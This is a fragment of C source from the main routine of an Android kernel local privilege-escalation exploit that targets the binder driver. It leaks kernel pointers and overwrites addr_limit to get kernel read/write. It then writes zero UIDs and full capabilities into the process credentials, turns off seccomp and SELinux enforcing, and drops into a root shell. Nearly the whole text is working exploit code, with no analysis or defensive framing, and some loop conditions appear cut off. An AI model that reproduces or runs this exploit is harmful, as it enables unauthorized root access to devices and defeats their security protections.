quiet = 1; break; case 'd': dump = 1; break; case 'N': rejoinNS = 0; break; default: break; } for (int i=1; i= 2) quiet = 1; checkKernelVersion(); message("MAIN: starting exploit for devices with waitqueue at 0x98"); if (pipe(kernel_rw_pipe)) error( "kernel_rw_pipe"); binder_fd = open("/dev/binder", O_RDONLY); epfd = epoll_create(1000); unsigned long task_struct_plus_8 = 0xDEADBEEFDEADBEEFul; unsigned long task_struct_ptr = 0xDEADBEEFDEADBEEFul; if (!leak_data_retry(NULL, 0, 0, NULL, 0, &task_struct_ptr, &task_struct_plus_8)) { error("Failed to leak data"); } unsigned long thread_info_ptr; if (task_struct_plus_8 == USER_DS) { message("MAIN: thread_info is in task_struct"); thread_info_ptr = task_struct_ptr; } else { message("MAIN: thread_info should be in stack"); thread_info_ptr = find_thread_info_ptr_kernel3(task_struct_plus_8); if (thread_info_ptr == 0) error("cannot find thread_info on kernel stack"); } message("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr); message("MAIN: thread_info_ptr = %lx", (unsigned long)thread_info_ptr); message("MAIN: Clobbering addr_limit"); unsigned long const src = 0xFFFFFFFFFFFFFFFEul; if (!clobber_data_retry(thread_info_ptr + 8, &src, 8)) { error("Failed to clobber addr_limit"); } message("MAIN: thread_info = 0x%lx", thread_info_ptr); setbuf(stdout, NULL); message("MAIN: should have stable kernel R/W now"); if (dump) { unsigned long start, count; start = 0xffffffc000000000ul; count = 0x1000; if (argc >= 2) sscanf(argv[1], "%lx", &start); start &= ~7; if (argc >= 3) sscanf(argv[2], "%lx", &count); unsigned long search = 0; int emit = 0; if (argc >= 4) sscanf(argv[3], "%lx", &search); else emit = 1; unsigned char page[PAGE]; for (unsigned long i=start; i=PAGE) { n = PAGE; } else { n = (n+15)/16*16; } hexdump_memory(page, n); } } exit(0); } message("MAIN: searching for cred offset in task_struct"); unsigned char task_struct_data[PAGE+16]; kernel_read(task_struct_ptr, task_struct_data, PAGE); unsigned long offset_task_struct__cred = getCredOffset(task_struct_data); puts("\nleaking kernel pointer"); kptrLeak(task_struct_ptr); puts("\n"); unsigned long cred_ptr = kernel_read_ulong(task_struct_ptr + offset_task_struct__cred); /*#ifdef OFFSET__cred__user_ns unsigned long search_base = kernel_read_ulong(cred_ptr + OFFSET__cred__user_ns); if (search_base < 0xffffffc000000000ul || search_base >= 0xffffffd000000000ul) search_base = 0xffffffc001744b70ul; #else #define search_base 0xffffffff81361f00ul #endif*/ message("MAIN: using last successful search_base = %lx", search_base); message("MAIN: searching for selinux_enforcing"); unsigned long selinux_enforcing = find_selinux_enforcing(search_base); // unsigned long selinux_enabled = findSymbol(search_base, "selinux_enabled"); unsigned int oldUID = getuid(); message("MAIN: setting root credentials with cred offset %lx", offset_task_struct__cred); for (int i = 0; i < 8; i++) kernel_write_uint(cred_ptr + OFFSET__cred__uid + i * 4, 0); if (getuid() != 0) error( "changing UIDs to 0"); message("MAIN: UID = 0"); message("MAIN: enabling capabilities"); // reset securebits kernel_write_uint(cred_ptr + OFFSET__cred__securebits, 0); kernel_write_ulong(cred_ptr+OFFSET__cred__cap_inheritable, 0x3fffffffffUL); kernel_write_ulong(cred_ptr + OFFSET__cred__cap_permitted, 0x3fffffffffUL); kernel_write_ulong(cred_ptr + OFFSET__cred__cap_effective, 0x3fffffffffUL); kernel_write_ulong(cred_ptr + OFFSET__cred__cap_bset, 0x3fffffffffUL); kernel_write_ulong(cred_ptr+OFFSET__cred__cap_ambient, 0x3fffffffffUL); int seccompStatus = prctl(PR_GET_SECCOMP); message("MAIN: SECCOMP status %d", seccompStatus); if (seccompStatus) { message("MAIN: disabling SECCOMP"); kernel_write_ulong(thread_info_ptr + OFFSET__thread_info__flags, 0); // TODO: search for seccomp offset int offset__task_struct__seccomp = getSeccompOffset(task_struct_data, offset_task_struct__cred, seccompStatus); if (offset__task_struct__seccomp < 0) message("MAIN: **FAIL** cannot find seccomp offset"); else { message("MAIN: seccomp offset %lx", offset__task_struct__seccomp); kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp, 0); kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp + 8, 0); message("MAIN: SECCOMP status %d", prctl(PR_GET_SECCOMP)); } } unsigned prev_selinux_enforcing = 1; if (selinux_enforcing == 0) message("MAIN: **FAIL** did not find selinux_enforcing symbol"); else { prev_selinux_enforcing = kernel_read_uint(selinux_enforcing); kernel_write_uint(selinux_enforcing, 0); message("MAIN: disabled selinux enforcing"); cacheSymbol("selinux_enforcing", selinux_enforcing); } if (rejoinNS) { char cwd[1024]; getcwd(cwd, sizeof(cwd)); message("MAIN: re-joining init mount namespace"); int fd = open("/proc/1/ns/mnt", O_RDONLY); if (fd < 0) { error("open"); exit(1); } if (setns(fd, CLONE_NEWNS) < 0) { message("MAIN: **partial failure** could not rejoin init fs namespace"); } message("MAIN: rejoining init net namespace"); fd = open("/proc/1/ns/net", O_RDONLY); if (fd < 0) { error("open"); } if (setns(fd, CLONE_NEWNET) < 0) { message("MAIN: **partial failure** could not rejoin init net namespace"); } chdir(cwd); } if (!checkWhitelist(oldUID)) { if (0 != selinux_enforcing) { kernel_write_uint(selinux_enforcing, prev_selinux_enforcing); } errno = 0; error("Whitelist check failed"); } message("MAIN: root privileges ready"); /* process hangs if these are done */ // unsigned long security_ptr = kernel_read_ulong(cred_ptr + OFFSET__cred__security); // kernel_write_uint(security_ptr, 1310); // kernel_write_uint(security_ptr+4, 1310); // for (int i=0; i<6; i++) // message("SID %u : ", kernel_read_uint(security_ptr + 4 * i)); if (command || argc == 2) { execlp("sh", "sh", "-c", argv[1], (char *)0); } else { message("MAIN: popping out root shell"); execlp("sh", "sh", (char*)0); } exit(0); }